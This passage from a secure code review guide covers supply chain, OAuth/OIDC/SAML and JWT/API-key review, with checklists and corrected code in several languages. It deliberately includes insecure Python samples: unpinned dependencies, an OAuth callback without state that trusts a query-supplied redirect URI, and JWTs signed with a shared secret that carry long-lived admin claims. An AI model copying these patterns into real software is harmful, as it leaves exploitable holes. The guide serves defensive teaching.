- [Flask — Set-Cookie parameters](#)
- [Microsoft Learn — HttpClient certificate validation](#)
- [Microsoft Learn — TokenValidationParameters](#)
- [Java HttpsURLConnection documentation](#)
- [jjwt — JJWT README \(signature verification\)](#)
- [Go crypto/tls — Config](#)
- [Go golang-jwt — jwt.Parse](#)
- [Go net/http — Cookie fields](#)

4.10 - Review Software Supply Chain

Overview

Supply-chain review asks whether build and runtime trust unvetted packages, scripts, or artifacts. Evidence lives in lockfiles, registries, CI, and import graphs—not only in application sinks.

The points below are the ideas this family chapter uses again and again.

1. Supply-chain review asks whether build and runtime trust unvetted packages, scripts, or artifacts.
2. Evidence lives in lockfiles, registries, CI, and import graphs—not only application sinks.
3. Pin, verify, and minimize transitive trust.
4. Treat install scripts and build plugins as code under review.
5. Record source of trust, missing control, impact, and a proving test.

After reading this chapter, we should be able to review dependencies and build inputs for trust decisions that affect application security.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **source**, the **sink**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

Software supply chain { `#supply-chain` }

Modern applications import most code from open source libraries. A vulnerable version of Log4j, a typosquatted package name, or a compromised maintainer account can affect every service that depends on it. Supply chain attacks target build systems, package registries, and transitive dependencies reviewers rarely read directly.

Where to look

Signal	Where to look
Feature type	Dependency manifests, Docker base images, CI install steps, private registry config
Unpinned versions	latest, broad semver ranges, missing lockfiles in production services
Known CVEs	Dependencies with published advisories in OSV, GitHub Advisory, or scanner output
Transitive risk	Vulnerabilities one or two levels deep in the dependency graph
Install scripts	postinstall hooks and package scripts executing during dependency install
Typosquatting	Package names close to but not matching canonical registry entries
Base images	Outdated Docker FROM tags without digest pinning or regular rebuilds

Appendix detail: [Software supply chain code reference](#).

Worked Example (Software supply chain)

We walk **Software supply chain** in depth. Apply the same tracing steps to the other variants, adjusting sources and sinks from the tables above.

Sample vulnerable code (Python)

```
# requirements.txt – no hashes, unpinned versions, vulnerable transitive deps
requests
pyyaml==5.1          # CVE-affected version left in place
django>=3.0          # floating lower bound pulls latest minor on each CI run
```

```
# settings.py – installs from arbitrary index without integrity verification
# pip.conf in repo points to untrusted mirror with no hash checking
import subprocess

def bootstrap_deps():
    # Runs install scripts from every package in requirements.txt
    subprocess.run(["pip", "install", "-r", "requirements.txt"], check=True)
```

```
# Dockerfile – outdated base, no digest pin
FROM python:3.8-slim
COPY requirements.txt .
RUN pip install -r requirements.txt
```

Step-by-step review walkthrough

1. **Locate dependency manifests.** Read `pom.xml`, `build.gradle`, `package.json`, `go.mod`, `requirements.txt`, `Gemfile`, and Docker base images.
2. **Check lockfiles.** Confirm lockfiles are committed and CI installs from them; floating ranges increase surprise upgrades.
3. **Review transitive dependencies.** Many CVEs live one or two levels deep; use scanner output, not only direct deps.
4. **Inspect registry configuration.** Review `.npmrc`, `.m2`, and PyPI index settings for mirror trust and integrity checks.
5. **Follow build pipelines.** Verify provenance, signed commits, and that release artifacts match tagged source.
6. **Confirm SBOM generation.** Release builds should produce CycloneDX or SPDX documents stored with deployable artifacts.
7. **Ask about incident response.** Patch SLA, emergency change process, and communication paths for zero-day advisories.

Risk Impact (Family)

Widespread compromise from one dependency. A single vulnerable library (for example Log4Shell) may affect every service that transitively includes it.

Build pipeline takeover. Compromised install scripts or typosquatted packages execute attacker code during CI or developer installs.

Slow incident response. Without an SBOM, teams spend hours manually inventorying production versions during active advisories.

Transitive blind spots. Direct dependencies may be current while nested libraries remain on vulnerable versions.

Container drift. Unpinned base images pull new OS packages on rebuild, introducing vulnerabilities without application code changes.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Pin dependencies with lockfiles and hash verification. Scan in CI.

```
# requirements.lock (generated by pip-tools) – excerpt
pyyaml==6.0.1 \
    --hash=sha256:abcdef...
requests==2.31.0 \
    --hash=sha256:123456...
django==4.2.11 \
    --hash=sha256:789abc...
```

```
# .github/workflows/deps.yml excerpt
- name: Audit Python dependencies
  run: |
    pip install pip-audit
    pip-audit -r requirements.lock
```

Use [pip-tools](#) or [Poetry](#) lockfiles. Run [pip-audit](#) in pull requests.

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- Dependency versions are pinned or locked; production builds do not pull floating ranges.
- Automated CVE scanning runs on pull requests and on a schedule for default branches.
- An SBOM is produced for each release (CycloneDX or SPDX) and stored with deployment artifacts.
- Transitive dependencies with critical CVEs have documented upgrade or mitigation plans.
- Build pipelines use trusted registries, verify checksums, and restrict arbitrary install-time script execution where possible.
- Base container images and OS packages are updated on a defined cadence and scanned like application libraries.
- The team can answer "what version of library X is in production?" within minutes using the SBOM or dependency graph.

Code Reference (Appendix)

Payloads, language-specific sinks, multi-language examples, and full fix catalogs for every variant live in [4.10 code reference — Review Software Supply Chain](#).

Reference

- Appendix — [4.10 code reference](#)
- [CWE-1395: Dependency on Vulnerable Third-Party Component](#)

- [OWASP Software Component Verification Standard](#)
- [OpenSSF Best Practices for Open Source Developers](#)
- [CycloneDX specification](#)
- [SPDX specification](#)
- [OSV vulnerability database](#)
- [pip-tools documentation](#)
- [pip-audit](#)
- [OWASP Dependency-Check](#)
- [Go govulncheck](#)
- [GitHub Dependabot documentation](#)

Chapter 5 - Review Secure Implementations

Overview

Part III focused on finding vulnerable code patterns. This part shifts to **correct implementation review**: whether OAuth flows, token handling, and TLS are built the way standards and threat models require.

Use these chapters when a change touches login, API authorization, service-to-service trust, or certificate handling—not only when hunting injection or XSS. The points below are the ideas Part IV uses again and again.

1. Protocol and credential bugs share a trust decision: who may redirect, assert, mint, or speak as whom.
2. Related implementations share one review model; variants adjust ceremony, claims, or handshake details.
3. Code-level parse flaws (for example algorithm confusion) stay in Chapter 4.5; issuance, JWKS, and rotation live here.
4. Evidence names the protocol step or credential, the missing control, the impact, and a proving test.
5. Dense library catalogs stay in the secure-implementations appendix.

After reading this overview and the three family chapters, we should be able to review identity and transport changes against standards-shaped checks and know when to open the appendix.

Three Family Chapters (Consolidated)

Former seven topic chapters are grouped into **three families**. Each family shares one review model, lists variants with where-to-look tables, walks one primary example, and points to the appendix for library catalogs and multi-language samples.

#	Family	Former topics
5.1	Identity & federation	OAuth 2.0, OpenID Connect, SAML
5.2	Tokens & API trust	JWT issuance/validation, API keys & request signing
5.3	Transport & service identity	TLS/SSL protocol, mTLS

Related vulnerability-focused material: [4.5 Review Authentication, Session, and Access § JWT security \(code-level\)](#), [4.5 § CSRF](#), [4.8 Review Cryptography in Application Code](#).

How to Use a Family Chapter

The sequence below matches Part III family chapters.

1. **Shared model** — the review question for the whole family.
2. **Variants** — short definitions and where-to-look tables (former topics).
3. **Worked example** — one Python sample and step-by-step walkthrough.
4. **Risk, fix principles, verify** — family-level evidence habits.
5. **Appendix pointer** — libraries, sinks, and multi-language fixes.

Open the [Appendix — Secure Implementations Reference](#) when density is needed.

Suggested Topics for Future Chapters

These topics are candidates when Part IV expands later.

- **Passkeys / WebAuthn** — ceremony verification, challenge binding, origin checks
- **SCIM provisioning** — token scope, rate limits, destructive operation guards
- **SPIFFE / SPIRE workload identity** — SVID validation in mesh environments

5.1 - Review Identity and Federation

Overview

Identity and federation bugs share one question: can an attacker hijack the redirect or assertion path and become another user? Review redirect URI binding, CSRF/*state*/*nonce*, client authentication, signature and audience checks, and token storage—not only whether a library call exists.

The points below are the ideas this family chapter uses again and again.

1. Federation bugs ask whether an attacker can hijack redirect or assertion paths and become another user.
2. Review redirect URI binding, *state*/*nonce*, client authentication, and assertion signature/audience checks.
3. OAuth, OIDC, and SAML share that trust decision with different ceremonies.
4. Token storage and client secrets stay server-side except for public-client PKCE flows.
5. Evidence names the protocol step, missing control, impact, and a proving test.

After reading this chapter, we should be able to review OAuth, OIDC, and SAML implementations against shared federation checks.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **protocol step or credential**, the **trust decision**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

OAuth 2.0 { *#oauth* }

This chapter is about **implementation review**, not generic vulnerability hunting. You are checking whether the OAuth flow matches [RFC 6749](#) and current best practice for the client type (public vs confidential).

Where to look

Signal	Where to look
Feature type	Social login, "Sign in with ...", API integrations, mobile deep links, SPA auth
Flow choice	Implicit or password grant in browser apps; auth code without PKCE for public clients
Redirect URI	String prefix match, wildcard hosts, user-controlled redirect params, missing exact registration
State / CSRF	Missing state, static state, state not validated on callback, state stored only client-side without binding
Token endpoint	Missing client_secret or mTLS for confidential clients; PKCE verifier not checked server-side
Token storage	Access or refresh tokens in localStorage, query strings, logs, or non-HttpOnly cookies
Library config	Custom OAuth glue, disabled TLS verify on token requests, hardcoded client secrets in frontend bundles

Appendix detail: [OAuth 2.0 reference](#).

OpenID Connect { #oidc }

This chapter is about **implementation review**, not generic vulnerability hunting. OIDC login is correct only when your code validates the id_token as a signed JWT from the expected issuer and rejects tokens meant for another client.

Where to look

Signal	Where to look
Feature type	Enterprise SSO, social login, B2B federation, mobile OIDC SDK callbacks
Discovery	Hardcoded JWKS URLs, skipped .well-known/openid-configuration, TLS verify disabled on metadata fetch
id_token handling	Manual JWT decode without signature verify, trust UserInfo alone, missing aud/iss/exp checks
Nonce	Missing nonce on authorize request, nonce not validated against id_token claim, static nonce
Issuer binding	Accept any issuer from callback params, string contains check on iss, multi-tenant without allowlist
Audience	aud not matched to registered client_id, multiple audiences accepted without policy
UserInfo	Bearer access token sent over HTTP, UserInfo trusted when id_token already invalid or absent
Hybrid / implicit	id_token returned in URL fragment without strict validation and short lifetime

Appendix detail: [OpenID Connect reference](#).

SAML federation { : #saml }

This chapter is about **implementation review**, not generic vulnerability hunting. SAML security depends on XML signature validation, strict endpoint binding, and one-time use of assertions—not on trusting decoded XML fields after parsing.

Where to look

Signal	Where to look
Feature type	Enterprise SSO, B2B federation, legacy Java/.NET portals, cloud app SAML connectors
Signature validation	wantAssertionsSigned false, signature optional, verify response but not assertion
Certificate trust	IdP cert embedded without expiry check, metadata fetched over HTTP, thumbprint string match only
ACS URL / Recipient	Missing Recipient/Destination validation, dynamic ACS from request param, wildcard ACS in metadata
Replay controls	No InResponseTo check, assertion ID not tracked, clock skew unbounded
Conditions	NotOnOrAfter ignored, AudienceRestriction missing or not matched to SP entity ID
XML processing	XXE-enabled parsers, external DTD allowed—see 4.3 Review Parsers § XXE
Metadata exchange	Unsigned metadata trusted, SP uploads attacker IdP metadata in self-service config

Appendix detail: [SAML federation reference](#).

Worked Example (OAuth 2.0)

We walk **OAuth 2.0** in depth. Apply the same tracing steps to the other variants, adjusting protocol steps and sinks from the tables above.

Sample vulnerable code (Python)

```
from flask import Flask, request, redirect, session
import requests

app = Flask(__name__)
CLIENT_ID = "app-client"
REDIRECT_URI = "https://app.example.com/oauth/callback"

@app.route("/login")
def login():
    # No state, no PKCE – callback cannot be bound to this session
    auth_url = (
        "https://idp.example.com/oauth/authorize"
        "?response_type=code&client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}"
    )
    return redirect(auth_url)

@app.route("/oauth/callback")
def oauth_callback():
    code = request.args.get("code")
    # Redirect URI taken from query – attacker can register alternate callback
    redirect_uri = request.args.get("redirect_uri", REDIRECT_URI)
    resp = requests.post(
        "https://idp.example.com/oauth/token",
        data={
            "grant_type": "authorization_code",
            "code": code,
            "client_id": CLIENT_ID,
            "redirect_uri": redirect_uri,
        },
    )
    tokens = resp.json()
    # Tokens stored in server session without rotation or binding policy
    session["access_token"] = tokens["access_token"]
    session["refresh_token"] = tokens.get("refresh_token")
    return redirect("/dashboard")
```

Step-by-step review walkthrough

1. **Identify client type.** Public clients (SPA, mobile) must use authorization code with PKCE. Confidential servers may use client secret or mTLS at the token endpoint. Flag implicit or resource-owner password grants in user-facing apps.
2. **Trace the authorization request.** Confirm `response_type=code`, cryptographically random state, and for public clients a `code_challenge` derived from a verifier stored server-side or in secure session storage.
3. **Review redirect URI handling.** Registration must use exact match (scheme, host, port, path). Reject prefix-only checks and any callback that reads redirect URI from attacker-controlled input.

4. **Inspect the callback handler.** Validate state against the value issued at login start. Reject missing or mismatched state before token exchange. Log and fail closed on error responses from the IdP.
5. **Review token exchange.** Confidential clients must authenticate (`client_secret`, `private_key_jwt`, or mTLS). Authorization servers must verify PKCE `code_verifier` against the stored challenge for public clients.
6. **Follow token storage and use.** Access tokens belong in memory or HttpOnly cookies for browser apps. Refresh tokens need secure storage, rotation, and revocation on logout. Search logs and analytics for token leakage.
7. **Check logout and error paths.** Confirm tokens are cleared on logout and that OAuth errors do not skip validation steps or expose tokens in URLs.

Risk Impact (Family)

Account takeover. Stolen authorization codes or refresh tokens let attackers obtain access tokens and act as the victim within granted scopes.

Cross-site request forgery on login. Missing or weak state allows an attacker to bind their IdP session to the victim's application account.

Redirect manipulation. Loose redirect URI validation enables code interception via open redirectors or look-alike registered URIs.

Long-lived compromise. Refresh tokens in `localStorage` or without rotation remain usable after XSS or device loss.

Compliance and audit gaps. Regulated apps must show OAuth flows align with provider guidance and industry baselines such as [OAuth 2.0 Security Best Current Practice](#).

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Use Authlib or a maintained OAuth client with PKCE and state built in. Keep client secrets server-side only.

```

from authlib.integrations.flask_client import OAuth
import secrets
import hashlib
import base64

oauth = OAuth(app)
oauth.register(
    name="idp",
    client_id=os.environ["OAUTH_CLIENT_ID"],
    client_secret=os.environ["OAUTH_CLIENT_SECRET"],
    server_metadata_url="https://idp.example.com/.well-known/openid-configuration",
    client_kwargs={"scope": "openid profile email"},
)

@app.route("/login")
def login():
    verifier = secrets.token_urlsafe(64)
    session["oauth_verifier"] = verifier
    session["oauth_state"] = secrets.token_urlsafe(32)
    challenge = base64.urlsafe_b64encode(
        hashlib.sha256(verifier.encode()).digest()
    ).rstrip(b"=").decode()
    return oauth.idp.authorize_redirect(
        redirect_uri="https://app.example.com/oauth/callback",
        state=session["oauth_state"],
        code_challenge=challenge,
        code_challenge_method="S256",
    )

@app.route("/oauth/callback")
def oauth_callback():
    if request.args.get("state") != session.pop("oauth_state", None):
        abort(403)
    token = oauth.idp.authorize_access_token(code_verifier=session.pop("oauth_verifier"))
    session["access_token"] = token["access_token"] # prefer server-side session only
    return redirect("/dashboard")

```

Important: Register one exact redirect URI per environment. Never expose `client_secret` in SPA or mobile binaries; use PKCE instead.

Java

Use Spring Security OAuth2 Client with authorization code and PKCE for public clients.

```

spring.security.oauth2.client.registration.idp.client-id=${OAUTH_CLIENT_ID}
spring.security.oauth2.client.registration.idp.client-secret=${OAUTH_CLIENT_SECRET}
spring.security.oauth2.client.registration.idp.authorization-grant-type=authorization_code
spring.security.oauth2.client.registration.idp.redirect-uri=https://app.example.com/login/oauth2/
code/idp
spring.security.oauth2.client.registration.idp.scope=openid,profile
spring.security.oauth2.client.provider.idp.issuer-uri=https://idp.example.com

```



```

http.oauth2Login(oauth -> oauth
    .authorizationEndpoint(auth -> auth.authorizationRequestResolver(pkceResolver))
    .successHandler((request, response, authentication) -> {
        OAuth2AuthorizedClient client = authorizedClientService.loadAuthorizedClient(
            "idp", authentication.getName());
        // Use token server-side; do not echo refresh token to browser
    }));

```

Important: Validate redirect URIs in the authorization server with exact match. Enable refresh token rotation when the provider supports it.

C

Use `AddOpenIdConnect` or `AddOAuth` with authorization code and PKCE for public clients.

```

services.AddAuthentication(options =>
{
    options.DefaultScheme = CookieAuthenticationDefaults.AuthenticationScheme;
    options.DefaultChallengeScheme = OpenIdConnectDefaults.AuthenticationScheme;
})
.AddCookie(options =>
{
    options.Cookie.HttpOnly = true;
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
})
.AddOpenIdConnect(options =>
{
    options.Authority = "https://idp.example.com";
    options.ClientId = Configuration["OAuth:ClientId"];
    options.ClientSecret = Configuration["OAuth:ClientSecret"];
    options.ResponseType = OpenIdConnectResponseType.Code;
    options.UsePkce = true;
    options.SaveTokens = true;
    options.CallbackPath = "/signin-oidc";
    options.CorrelationCookie.SecurePolicy = CookieSecurePolicy.Always;
});

```

Important: `SaveTokens = true` stores tokens in the auth cookie payload—ensure cookie encryption and short lifetimes. Prefer downstream API calls from the server using token cache, not browser storage.

Go

Use `golang.org/x/oauth2` with PKCE via `oauth2.GenerateVerifier` and `S256ChallengeFromVerifier`.

```
import "golang.org/x/oauth2"

var oauthConfig = &oauth2.Config{
    ClientID:     os.Getenv("OAUTH_CLIENT_ID"),
    ClientSecret: os.Getenv("OAUTH_CLIENT_SECRET"),
    RedirectURL:  "https://app.example.com/oauth/callback",
    Scopes:       []string{"openid", "profile"},
    Endpoint:     oauth2.Endpoint{
        AuthURL:  "https://idp.example.com/oauth/authorize",
        TokenURL: "https://idp.example.com/oauth/token",
    },
}

func login(w http.ResponseWriter, r *http.Request) {
    state := secureRandomString(32)
    verifier := oauth2.GenerateVerifier()
    http.SetCookie(w, &http.Cookie{Name: "oauth_state", Value: state, HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode})
    http.SetCookie(w, &http.Cookie{Name: "pkce_verifier", Value: verifier, HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode})
    url := oauthConfig.AuthCodeURL(state, oauth2.S256ChallengeOption(verifier))
    http.Redirect(w, r, url, http.StatusFound)
}
```

Important: Read state and PKCE verifier from HttpOnly cookies on callback. Use `oauth2.ReuseTokenSource` with secure server-side storage for refresh tokens.

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- Browser and mobile clients use **authorization code with PKCE**, not implicit grant or password grant.
- **Redirect URIs** are registered with exact match; callback handlers never trust client-supplied redirect values.
- **State** is generated per login, stored server-side, and validated before token exchange.
- Confidential clients **authenticate at the token endpoint**; public clients rely on PKCE, not embedded secrets.
- **Tokens** are not in URLs, localStorage, or logs; refresh tokens rotate and clear on logout.
- Token and authorize HTTP calls use **TLS with certificate verification** enabled.
- Client loads **issuer metadata** from `.well-known/openid-configuration` with TLS verification.
- Every login validates **id_token signature**, iss, aud, exp, and **nonce** before creating a session.
- **sub + iss** is the external identity key; verified claims drive authorization, not raw callback parameters.
- **UserInfo** is optional enrichment; it does not replace id_token validation.

- Public clients use **code flow + PKCE**; tokens are not accepted from URL fragments without strict validation.
- Multi-tenant apps enforce an **issuer allowlist** per tenant or registration.
- Assertions (or outer responses) are **XML signature validated** with current IdP keys from trusted metadata.
- **ACS URL, Destination, and Recipient** match registered SP endpoints exactly.
- **Assertion IDs** are single-use; **InResponseTo** matches outstanding AuthnRequest when applicable.
- **Audience** equals SP entity ID; **NotBefore/NotOnOrAfter** enforced with bounded clock skew.
- IdP metadata and certificates come from **trusted sources** with rollover planned before expiry.
- SAML parsers disable **XXE**; **RelayState** is allowlisted.

Implementation Reference (Appendix)

Library sinks, multi-language examples, and full fix catalogs for every variant live in [5.1 reference — Review Identity and Federation](#).

Reference

- Appendix — [5.1 reference](#)
- [RFC 6749: OAuth 2.0 Authorization Framework](#)
- [RFC 7636: PKCE](#)
- [OAuth 2.0 Security Best Current Practice](#)
- [OAuth 2.0 for Browser-Based Apps](#)
- [OAuth.net — OAuth 2.0](#)
- [OWASP OAuth 2.0 Cheat Sheet](#)
- [Authlib documentation](#)
- [Spring Security — OAuth2 Client](#)
- [ASP.NET Core — OpenID Connect](#)
- [golang.org/x/oauth2](#)
- [OpenID Connect Core 1.0](#)
- [OpenID Connect Discovery 1.0](#)
- [RFC 7519: JSON Web Token](#)
- [OAuth.net — OpenID Connect](#)
- [python-jose documentation](#)
- [openid-client \(Node.js\)](#)
- [Microsoft Identity Web](#)
- [Spring Security — OAuth2 Login](#)
- [coreos/go-oidc](#)
- [OASIS SAML 2.0 Core](#)
- [OASIS SAML 2.0 Bindings](#)

- [OASIS SAML 2.0 Metadata](#)
- [OWASP SAML Security Cheat Sheet](#)
- [OWASP XXE Prevention Cheat Sheet](#)
- [OneLogin python3-saml](#)
- [Spring Security — SAML2 Service Provider](#)
- [ITfoxtec Identity SAML2](#)
- [crewjam/saml](#)

5.2 - Review Tokens and API Trust

Overview

Tokens and API credentials prove who may call what. Review how they are **minted**, **validated**, **rotated**, and **bound to transport**—not only whether `jwt.decode` or a header check exists. For parse-time JWT flaws (algorithm confusion, skipped signature), also use Chapter 4.5.

The points below are the ideas this family chapter uses again and again.

1. Tokens and API credentials prove who may call what.
2. Review how credentials are minted, validated, rotated, and bound to transport.
3. JWT issuance/JWKS and API keys/request signing share that trust problem.
4. Parse-time JWT flaws stay in Chapter 4.5; issuance and rotation live here.
5. Evidence names the credential decision, missing control, impact, and a proving test.

After reading this chapter, we should be able to review JWT issuance/validation and API signing designs with shared token-trust habits.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **protocol step or credential**, the **trust decision**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

JWT implementation { `#jwt` }

This chapter is about **implementation review**, not generic vulnerability hunting. A secure JWT stack requires correct cryptography, key lifecycle, claim policy, and refresh rotation—not merely calling `jwt.decode` with a secret string.

Where to look

Signal	Where to look
Feature type	Custom auth server, API gateway token mint, microservice mesh, mobile backend
Signing model	HS256 shared secret copied to every service; private keys in repo; no kid in header
JWKS endpoint	Missing /.well-known/jwks.json, stale keys served after rotation, HTTP not HTTPS
Access token policy	Lifetime over 15 minutes without justification; sensitive claims in access token
Refresh tokens	Reusable refresh tokens, no rotation, no reuse detection, refresh stored in localStorage
Validation gaps	Resource servers fetch JWKS once at startup; no iss/aud enforcement per API
Revocation	Logout clears client cookie only; no server-side refresh denylist or token version claim

Appendix detail: [JWT implementation reference](#).

API keys and request signing {:#api-keys }

Weak API key design exposes long-lived secrets in URLs, source code, or logs. HMAC verification fails when services skip signature checks, use predictable secrets, compare digests incorrectly, or omit timestamp and nonce checks that prevent replay.

Where to look

Signal	Where to look
Feature type	Public REST/GraphQL APIs, webhooks, partner integrations, mobile app backends, CLI tools
Key issuance	Admin consoles, self-service signup, long-lived “master” keys, keys embedded in mobile binaries
Transport	?api_key= query params, keys in Referer via HTTP pages, missing TLS on key-bearing requests
Verification	Single shared secret for all tenants, optional auth middleware, timing-unsafe string compare
HMAC schemes	Custom headers without canonical string, missing clock skew, no nonce store, MD5/SHA1 HMAC for new designs
Scope and lifecycle	One key for read and admin, no per-environment separation, no revocation or rotation path

Appendix detail: [API keys and request signing reference](#).

Worked Example (JWT implementation)

We walk **JWT implementation** in depth. Apply the same tracing steps to the other variants, adjusting protocol steps and sinks from the tables above.

Sample vulnerable code (Python)

```
import jwt
from datetime import datetime, timedelta

SECRET = "shared-across-twenty-microservices"

def issue_tokens(user_id: str, scopes: list[str]) -> dict:
    now = datetime.utcnow()
    access = jwt.encode(
        {
            "sub": user_id,
            "scope": " ".join(scopes),
            "admin": True, # privilege claim without audience binding
            "exp": now + timedelta(days=7),
        },
        SECRET,
        algorithm="HS256",
    )
    refresh = jwt.encode(
        {"sub": user_id, "typ": "refresh", "exp": now + timedelta(days=90)},
        SECRET,
        algorithm="HS256",
    )
    return {"access_token": access, "refresh_token": refresh}

def refresh_access_token(refresh_token: str) -> str:
    claims = jwt.decode(refresh_token, SECRET, algorithms=["HS256"])
    # Same refresh token works forever; no rotation or reuse detection
    return issue_tokens(claims["sub"], ["api"])[ "access_token"]
```

Step-by-step review walkthrough

1. **Map issuer and consumers.** Identify which component signs tokens and every service that validates them. HS256 requires secret distribution; RS256/ES256 should use public keys via JWKS.
2. **Review signing key storage.** Private keys belong in HSM, KMS, or sealed secrets—not git. Confirm kid is present and rotates with the key material.
3. **Inspect access token claims.** Keep lifetimes short. Put authorization data in scope or custom claims bound to aud. Avoid embedding long-lived privileges without refresh checks.
4. **Trace JWKS publication.** Authorization servers expose current and rollover public keys. Consumers cache JWKS with TTL and refresh on unknown kid.
5. **Review refresh flow.** Each refresh should mint a new refresh token, invalidate the previous one, and detect reuse (revoke token family on replay).

6. **Check resource server validation.** Each API validates `iss`, `aud`, signature, and `exp` with the correct key—not a copy-pasted dev secret.
7. **Confirm logout and compromise response.** Document how operators revoke sessions: refresh denylist, `jti` blocklist, or session version claim bumped on password change.

Risk Impact (Family)

Wide-scale forgery. A leaked HS256 secret or stolen private key lets attackers mint valid tokens for any subject and scope.

Stale key trust. Services that never refresh JWKS continue trusting compromised keys after rotation delays exposure but do not stop active abuse if rotation is skipped.

Refresh token replay. Non-rotating refresh tokens act like long-lived passwords; XSS or device theft yields persistent access.

Privilege sprawl. Overlong access tokens with embedded roles delay revocation until expiry even after admin logout.

Cross-service audience confusion. Tokens minted for one API accepted by another when `aud` is not enforced per resource server.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Sign with RS256 using PyJWT and expose JWKS. Rotate refresh tokens and detect reuse.


```

import jwt as pyjwt
import secrets
import time
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

PRIVATE_KEY = load_private_key_from_kms()
PUBLIC_KEY = PRIVATE_KEY.public_key()
KID = "2026-05-key-1"

def issue_tokens(user_id: str, scopes: list[str], refresh_family: str | None = None) -> dict:
    now = int(time.time())
    access = pyjwt.encode(
        {
            "iss": "https://auth.example.com",
            "sub": user_id,
            "aud": "api.example.com",
            "scope": " ".join(scopes),
            "iat": now,
            "exp": now + 900,
        },
        PRIVATE_KEY,
        algorithm="RS256",
        headers={"kid": KID},
    )
    family = refresh_family or secrets.token_urlsafe(16)
    refresh_jti = secrets.token_urlsafe(16)
    refresh = pyjwt.encode(
        {
            "iss": "https://auth.example.com",
            "sub": user_id,
            "aud": "auth.example.com",
            "jti": refresh_jti,
            "family": family,
            "iat": now,
            "exp": now + 604800,
        },
        PRIVATE_KEY,
        algorithm="RS256",
        headers={"kid": KID},
    )
    store_refresh(refresh_jti, family, user_id)
    return {"access_token": access, "refresh_token": refresh}

def refresh_tokens(presented_refresh: str) -> dict:
    claims = validate_refresh(presented_refresh) # RS256 + iss/aud/exp/jti via PyJWT
    if is_refresh_reused(claims["jti"], claims["family"]):
        revoke_family(claims["family"])
        raise AuthError("refresh reuse detected")
    invalidate_refresh(claims["jti"])
    return issue_tokens(claims["sub"], ["api"], refresh_family=claims["family"])

```

Important: Resource servers validate with your JWKS URL and required aud. Pair with [4.5 Review Authentication, Session, and Access Control § JWT security \(code-level\)](#) checks for algorithm allowlists and none rejection.

Java

Use Nimbus with RSA keys and publish JWKS from the authorization server.

```
RSAKey rsaKey = new RSAKey.Builder(publicKey, privateKey)
    .keyID("2026-05-key-1")
    .algorithm(JWSAlgorithm.RS256)
    .build();
JWKSet jwkSet = new JWKSet(rsaKey.toPublicJWK());

SignedJWT access = new SignedJWT(
    new JWSHeader.Builder(JWSAlgorithm.RS256).keyID(rsaKey.getKeyID()).build(),
    new JWTClaimsSet.Builder()
        .issuer("https://auth.example.com")
        .subject(userId)
        .audience("api.example.com")
        .expirationTime(Date.from(Instant.now().plusSeconds(900)))
        .claim("scope", scopes)
        .build());
access.sign(new RSASSASigner(rsaKey));
```

```
@Bean
JwtDecoder jwtDecoder() {
    NimbusJwtDecoder decoder = NimbusJwtDecoder.withJwkSetUri(
        "https://auth.example.com/.well-known/jwks.json").build();
    decoder.setJwtValidator(JwtValidators.createDefaultWithIssuer("https://auth.example.com"));
    return decoder;
}
```

Important: Enable refresh token rotation in Spring Authorization Server or your custom store with reuse detection. Bump a token_version user claim on password reset.

C

Use RSA credentials and AddJwtBearer with authority metadata for resource APIs.

```

services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
    .AddJwtBearer(options =>
    {
        options.Authority = "https://auth.example.com";
        options.Audience = "api.example.com";
        options.TokenValidationParameters = new TokenValidationParameters
        {
            ValidateIssuer = true,
            ValidateAudience = true,
            ValidateLifetime = true,
            ValidateIssuerSigningKey = true,
            ValidAlgorithms = new[] { SecurityAlgorithms.RsaSha256 },
        };
    });

```

```

var rsa = RSA.Create(2048);
var signingCredentials = new SigningCredentials(
    new RsaSecurityKey(rsa) { KeyId = "2026-05-key-1" },
    SecurityAlgorithms.RsaSha256);

services.AddSingleton<IJwksProvider>(new JwksProvider(rsa.ExportParameters(false), "2026-05-key-1"));

```

Important: Publish JWKS from the auth service. Store refresh tokens hashed server-side and replace them on each refresh request.

Go

Use `lestrrat-go/jwx` or `golang-jwt/jwt` with RSA and a JWKS HTTP handler.

```

import "github.com/lestrrat-go/jwx/v2/jwk"

key, _ := rsa.GenerateKey(rand.Reader, 2048)
jwkKey, _ := jwk.FromRaw(key)
jwkKey.Set(jwk.KeyIDKey, "2026-05-key-1")
jwkKey.Set(jwk.AlgorithmKey, jwk.RS256)

func jwksHandler(w http.ResponseWriter, r *http.Request) {
    set := jwk.NewSet()
    set.AddKey(jwkKey.PublicKey())
    json.NewEncoder(w).Encode(set)
}

func validateAccess(raw string) (jwt.MapClaims, error) {
    set, _ := jwk.Fetch(context.Background(), "https://auth.example.com/.well-known/jwks.json")
    token, err := jwt.Parse(raw, jwt.WithKeySet(set, jws.WithRequireKid(true)),
        jwt.WithIssuer("https://auth.example.com"), jwt.WithAudience("api.example.com"))
    // ...
}

```

Important: Cache JWKS with HTTP cache headers and refetch when kid is unknown. Treat refresh reuse as a full session compromise signal.

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- Authorization server signs with **asymmetric keys (RS256/ES256)** and publishes **JWKS** with kid.
- Access tokens are **short-lived**; refresh tokens **rotate** and trigger **reuse detection**.
- Every resource server validates **signature, iss, aud, exp** against current JWKS—not a shared HS256 secret.
- Private keys live in **KMS/HSM**; rotation plan updates JWKS without invalidating all sessions instantly unless required.
- Logout and account recovery **invalidate refresh families** or bump session version claims.
- Cross-check [4.5 § JWT security \(code-level\)](#) for consumer-side parse and algorithm flaws.
- API keys are **never** in query strings, URLs shared to browsers, or committed source.
